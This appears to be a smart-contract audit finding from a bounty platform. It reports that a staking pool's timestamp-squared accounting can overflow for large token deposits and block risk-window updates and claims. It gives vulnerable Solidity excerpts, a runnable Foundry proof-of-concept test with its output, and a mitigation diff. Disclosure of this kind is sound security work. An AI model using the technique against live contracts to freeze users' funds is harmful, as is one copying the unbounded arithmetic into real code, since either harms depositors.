FoundrySolidityLayer 2
7.25 ETH
Submission Details
Impact: medium
Likelihood: low

Large standard-token deposits can overflow stake-time math and brick valid exits or claims

Author Revealed upon completion

Root + Impact

Description

  • Normal behavior: the pool accepts allowlisted standard ERC20 stake, stores stake-time accounting, and later uses that accounting to seal risk windows and pay SURVIVED or EXPIRED claimants.

  • The issue: stake-time accounting uses absolute Unix timestamps in checked uint256 multiplications. A raw token amount that is safe at the deposit timestamp can overflow at a later risk-window or outcome timestamp, because no in-scope code caps token supply, per-user stake, aggregate stake, or stake size against the pool's maximum timestamp.

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 newEntry = block.timestamp;
uint256 start = riskWindowStart;
if (start != 0 && newEntry < start) newEntry = start;
@> uint256 contribTime = received * newEntry;
@> uint256 contribTimeSq = received * newEntry * newEntry;
eligibleStake[msg.sender] += received;
...
totalEligibleStake += received;
sumStakeTime += contribTime;
sumStakeTimeSq += contribTimeSq;
}
function _markRiskWindowStart() internal {
uint256 t = block.timestamp;
if (t > expiry) t = expiry;
riskWindowStart = uint32(t);
@> sumStakeTime = totalEligibleStake * t;
@> sumStakeTimeSq = totalEligibleStake * t * t;
}
function _bonusShare(address u, uint256 userEligible) internal view returns (uint256) {
...
uint256 T = outcomeFlaggedAt;
@> uint256 userPlus = T * T * userEligible + userSumStakeTimeSq[u];
uint256 userMinus = 2 * T * userSumStakeTime[u];
uint256 userScore = userPlus > userMinus ? userPlus - userMinus : 0;
@> uint256 plus = T * T * snapshotTotalStaked + snapshotSumStakeTimeSq;
uint256 minus = 2 * T * snapshotSumStakeTime;
uint256 globalScore = plus > minus ? plus - minus : 0;
...
}

Risk

Likelihood:

  • Occurs when the factory owner allowlists a standard ERC20 with extremely large raw unit supply or decimals.

  • Occurs when a pool accepts an aggregate stake amount that is below the safe bound at deposit time but above type(uint256).max / T^2 at a later risk-window, terminal, or expiry timestamp.

Impact:

  • A first active-risk observation can revert in _markRiskWindowStart(), preventing the pool from sealing riskWindowStart.

  • A valid SURVIVED or EXPIRED claim can revert in _bonusShare(), preventing the claimant from receiving principal and bonus.

Proof of Concept

PoC command:

forge test --offline --match-path test/poc/LargeStakeTimeOverflowPoC.t.sol

Complete runnable PoC:

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
import {stdError} from "forge-std/StdError.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {BaseConfidencePoolTest} from "test/helpers/BaseConfidencePoolTest.sol";
contract LargeStakeTimeOverflowPoC is BaseConfidencePoolTest {
function testPoC_largeStandardTokenStakeOverflowsOnLaterRiskObservation() external {
address largeStaker = alice;
uint256 t0 = block.timestamp;
uint256 laterTimestamp = t0 + 30 days;
uint256 safeAtDeposit = type(uint256).max / (t0 * t0);
uint256 unsafeAtLaterObservation = type(uint256).max / (laterTimestamp * laterTimestamp);
uint256 amount = unsafeAtLaterObservation + 1;
assertLe(amount, safeAtDeposit, "setup: amount is safe at the deposit timestamp");
token.mint(largeStaker, amount);
vm.startPrank(largeStaker);
token.approve(address(pool), amount);
pool.stake(amount);
vm.stopPrank();
assertEq(pool.totalEligibleStake(), amount, "setup: large standard-token stake was accepted");
assertEq(token.balanceOf(address(pool)), amount, "setup: pool holds the accepted stake");
vm.warp(laterTimestamp);
attackRegistry.setAgreementState(IAttackRegistry.ContractState.UNDER_ATTACK);
vm.expectRevert(stdError.arithmeticError);
pool.pokeRiskWindow();
assertEq(pool.riskWindowStart(), 0, "impact: risk window could not be latched");
}
}

Full output:

Compiling 64 files with Solc 0.8.26
Solc 0.8.26 finished in 5.50s
Compiler run successful!
Ran 1 test for test/poc/LargeStakeTimeOverflowPoC.t.sol:LargeStakeTimeOverflowPoC
[PASS] testPoC_largeStandardTokenStakeOverflowsOnLaterRiskObservation() (gas: 324567)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 640.75µs (99.79µs CPU time)
Ran 1 test suite in 1.36ms (640.75µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

function stake(uint256 amount) external nonReentrant whenPoolNotPaused {
...
uint256 received = balanceAfter > balanceBefore ? balanceAfter - balanceBefore : 0;
if (received == 0) revert NoTokensReceived();
if (received < minStake) revert BelowMinStake();
+ uint256 newTotalEligibleStake = totalEligibleStake + received;
+ uint256 maxTimestamp = expiry;
+ if (newTotalEligibleStake > type(uint256).max / maxTimestamp / maxTimestamp) {
+ revert InvalidAmount();
+ }
_clampUserSums(msg.sender);
...
}

The protocol can also compute scores using relative elapsed time (T - entryTime) instead of absolute Unix timestamps, while still bounding amount * elapsed * elapsed.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!